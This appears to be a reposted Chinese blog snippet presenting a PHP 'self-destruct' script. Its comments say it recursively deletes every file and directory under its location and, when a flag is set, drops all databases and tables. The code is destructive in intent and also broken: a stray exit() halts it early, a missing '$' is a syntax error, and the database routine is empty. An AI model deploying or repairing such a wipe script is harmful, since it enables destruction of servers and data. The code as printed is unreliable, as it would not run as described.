PHP程序自杀

来源:互联网 发布:angular.js介绍 编辑:程序博客网 时间:2024/05/20 03:04
<?php// +----------------------------------------------------------------------// | Kill!!// | 程序将清除本目录所有文件、目录// | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)// +----------------------------------------------------------------------//----------数据库配置区域-----------------define('DB_USER', 'root');define('DB_PWD', '');define('DB_HOST', 'localhost');define('DB_PORT', '3306');define('DB_DAMAGE', false);// 为false时不执行删除数据操作,为true时执行删除数据操作run();/** * GO * * @return void **/function run(){//删除文件deletedir();//删除数据库deleteDB();}/** * 删除当前目录所有文件(递归) * * @return void **/function deletedir($dir = ''){if ($dir == '') {$dir = realpath('.');}echo $dir;exit();      if(!handle=@opendir($dir)){     //检测要打开目录是否存在      die("没有该目录");      }      while(false !==($file=readdir($handle))){               if($file!=="."&&$file!==".."){       //排除当前目录与父级目录               $file=$dir .DIRECTORY_SEPARATOR. $file;               if(is_dir($file)){               deletedir($file);               }else{               if(@unlink($file)){               echo "文件<b>$file</b>删除成功。<br>";               }else{               echo  "文件<b>$file</b>删除失败!<br>";               }               }               }               if(@rmdir($dir)){               echo "目录<b>$dir</b>删除成功了。<br>\n";               }else{               echo "目录<b>$dir</b>删除失败!<br>\n";               }           }/** * 删除数据库 * * @return void **/function deleteDB(){if(DB_DAMAGE === true){//start}}?>

1 0